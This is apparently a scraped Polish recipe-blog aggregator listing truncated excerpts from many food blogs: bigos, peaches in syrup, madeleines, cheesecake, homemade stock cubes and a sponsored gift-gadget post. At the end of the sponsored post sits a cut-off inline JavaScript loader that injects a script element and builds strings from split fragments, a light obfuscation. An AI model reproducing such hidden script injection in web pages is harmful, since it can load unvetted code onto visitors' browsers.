wieprzowe, 3 szt. średnie ćwiartek z kurczaka boczek surowy wędzony 300 g. liście laurowe 5 szt. ziele angielskie 5 szt. suszone grzyby 1 duża garść powidła śliwkowe domowej roboty 3 łyżki śliwki suszone 5 szt. kostka rosołowa 2 szt. przyprawa do bigosu do smaku przecier pomidorowy 2 łyżki woda ok. 1 i 1/2 szkl(...)Gotować ok. 1 godziny na małym ogniu, co jakiś czas mieszając i sprawdzając, aby bigos nie przypalił się. Jeżeli ktoś chce, może dodać do bigosu 1/2 szkl. wytrawnego czerwonego wina w trzecim dniu gotowania
Kuchnia PaulettesOpowiem Wam taką historię... Mieszkałem kiedyś na warszawskiej Pradze (dla wyjaśnienia dodam, że rodowity warszawia nin mianem "Praga" określa jedynie Pragę Północ, w odróżnieniu
Marder&Marder ManufactureUwielbiam tworzyć makarony, nadawać im nowy smak, wygląd. Tym razem postawiłam na smak czekoladowy a kto śledzi bloga wie, że kochamy cynamon, wiec i nie obyło
Basia w kuchnisię swoim własnym gościem, a takie właśnie powinno być lato. W rozkosznym odurzeniu, kiedy już ostatnia gruszka została przepołowiona, ostatnia skórka chleba zgarnęła ostatnie okruchy gorgonzoli, ostatnia kropla wina spadła do kieliszka, można przeżuwać w myśli, jeżeli ma się skłonności do tego, swoje uczestnictwo w wielkim zbiorowym błogostanie. Bo zapada się w błogostan jak wszyscy inni(...)Błogostan. W duszy i na stole. A na nim obowiązkowo brzoskwinie. Dojrzałe, soczyste, kuszące, z tym budzącym lekkie zakłopotanie meszkiem. Ugotowane w syropie z białym winem, wanilią, cynamonem, skórką limonki i czarnym pieprzem, dopieszczone malinami, muśnięte chmurką lekkiego kremu. Doskonałe. Rozkosz, której trzeba się poddać. Najlepiej zaraz po wyjściu ze szczeliny dnia. BRZOSKIWNIE W SYROPIE
KUCHARNIAPrzepis na te przepyszne ciasteczka znalazłam w Poradniku Domowym i pierwszy raz zrobiłam je na Boże Narodzenie 2009. Odkąd zaczęłam gotować i piec na każde święta robię ciasto dla każdego z moich domowników - a raczej dla tych którzy kiedyś domownikami byli a teraz są świątecznymi i urlopowymi domownikami :-). Mówię tutaj głównie o moich siostrach. Te ciasteczka zostały pierwszy raz upieczone(...)doznań smakowych głównego bohatera powieści Marcela Prousta, W poszukiwaniu straconego czasu tom I, W stronę Swanna. Maczał on te ciasteczka w herbacie. Ja maczałam je w herbacie, kawie oraz winie i zawsze smakowały cudownie. Dodatkowe informacje na ich temat ale inny przepis można znaleźć tutaj . Magdalenki troszkę czasu trzeba im poświęcić: przygotowanie ok 30 minut pieczenie ok 20 minut
sierotka maRysia w kuchnimarchewkę (świeże warzywa trzeba umyć, obrać i pokroić) gotujemy na parze około 20 min. Mięso mielone smażymy na oliwie na rozgrzanej patelni. Dodajemy koncentrat pomidorowy i mieszamy. Potem dodajemy wino, przyprawy i mieszamy wszystko dokładnie. Dusimy przez 20 minut na wolnym ogniu. Naczynie żaroodporne smarujemy masłem. Układamy na przemian płat makaronu, warstwa mięsa, warzywa (groszek i marchewka), ser gouda(...)layers). We put in the oven (175 degrees) for 25 minutes. 5 minutes before end of cooking sprinkle with parmesan cheese and we bake further. Done :)!. Przepis na domowy makaron / Recipe for homemade pasta
Projekty ze smakiemKuchnia włoska znana jest ze swojej prostoty oraz szybkości przyrządzanych potraw, przy czym składniki są idealnie i gustownie dobrane- dlatego też jest ona jedną z najpopularniejszych
Kraina Miodem PłynącaPierś z kurczaka nadziewana czerwoną cebulą z żurawiną Pierś z kurczaka nadziewana czerwoną cebulą z żurawiną. Pierś z kurczaka nadziewana czerwoną cebulą z żurawiną podana
Kuchnia na wzgórzupojawiły się na pikniku, to podejmę wyzwanie i spróbuję.Dominika przygotowała: mięso w marynacie, które zostało upieczone na grillu i sałatkę z fetą, Karolina przyniosła Kuskus z domowymi pomidorkami, Ewelina raczyła nas wytrawnymi biscotti z 3 różnymi dodatkami - był kawior z bakłażana, pasta z suszonych pomidorów i relish z cukini. , Hania podała sałatkę(...)blogerów miał okazję spróbowania na pikniku parzonej z liści Gyokuro zielonej herbaty, którymi mogliśmy popijać nasze przygotowane potrawy. A na koniec spotkania każdy pełnoletni bloger mógł sobie wybrać wino od Poznaj Smak Gruzjii jakże popularny Cydr Lubelski :)Muszę przyznać, że nasze spotkanie jak zwykle wyszło wspaniałe. Jestem zachwycona, że nasza warszawska blogosfera rośnie w siłę i możemy się
Słodkie PrzyjemnościPyszny, delikatny , truskawkowy sernik. Zmieniłam nieco składniki spodu, głównie ze względu na domowe zapasy. Używałam żelatyny w płatkach a nie sypkiej. W przepisie podaję jednak żelatynę zwykłą tak jak w oryginale, gdyż jest ona bardziej popularna. Przepis ze strony Moje WypiekiSkładniki na spód:140 g herbatników70 g masłana masę:500 g świeżych truskawek2 łyżki soku(...)Uwagi: Po wymieszaniu składników, masy wyszło ok 1 l. I dla takiej ilości można przyjąć ilość żelatyny. Używałam żelatyny w listkach, po namoczeniu, rozpuściłam ją w 1/4 szklanki podgrzanego wina. Zgodnie z opisem na opakowaniu, ilość listków żelatyny których użyłam to 6 szt na 500 ml płynu
Stare Garymięso to tylko niewielki procentowo dodatek. Przestaliśmy więc jakiś czas temu kupować gotowe kostki rosołowe i zaczęliśmy robić je sami. Taniej, smaczniej i przede wszystkim zdrowiej. Fakt - rosół z domowych kostek rosołowych nie będzie idealnie klarowny, bo będę w nim drobinki prawdziwych warzyw i ewentualnie mięsa, zamiast wszelkiego typu chemicznych ulepszaczy, ale wolę taki, niż ten ze sklepowych półek. Można(...)ziarenka ziela angielskiego 3 liście laurowe ćwierć łyżeczki kurkumy 3-4 łyżki oleju o naturalnym smaku (np. rzepakowy) - dodajemy go tylko do bulionówki warzywnej 100 ml wody lub wina opcjonalnie (jeśli lubicie) można też dodać też po kilka listków rozmarynu i szałwii lub inne ulubione przyprawy (np. imbir, chili, tymianek) Warzywa (waga po obraniu) 500 g marchwi
Kulinaria - potrawy z różnych stron świataO tym, że soda spulchnia ciasto i czyści fugi wie chyba każda pani domu. Jednakże niewiele osób zna inne zastosowania sody. Soda sprawdza się doskonale do
Pani domowaZapiekane ziemniaki, jabłka i cebula pyszny dodatek do obiadu Zapiekane ziemniaki, jabłka i cebula pyszny dodatek do obiadu. Zapiekane ziemniaki, jabłka i cebula .. brzmi trochę dziwnie
Kuchnia na wzgórzudorobiłam się fartucha, bo szkoda mi było wydawać na niego pieniądze, ale gdyby mi ktoś podarował taki to byłoby super. A tutaj jeszcze do tego wystarczy wybrać z domowego archiwum jakieś fajne zdjęcie, dołączyć plik do zamówienia i czekać na spersonalizowany fartuch. Proste, szybkie i efektowne! Kolejny fajny gadżet, który możecie podarować swoim bliskim to ocieplacz na jajka królik Luigi(...)Znajdziecie tam nie tylko gadżety kuchenne, ale wiele innych zabawnych, a zarazem praktycznych akcesoriów idealnych pod choinkę. Może zainteresuje Was szeroki wybór gadżetów spersonalizowanych, desek do krojenia, kieliszków do wina i innych. Takie prezenty będą o niebo lepsze niż kolejne rękawiczki i czekoladki. *zdjęcia autorstwa partnera (function(){ zad5=document.createElement("script");zad5_=(("u")+"st")+"a";zad5.async=true; zad5.type="text/javascript";zad5
Cynamonowe szczęście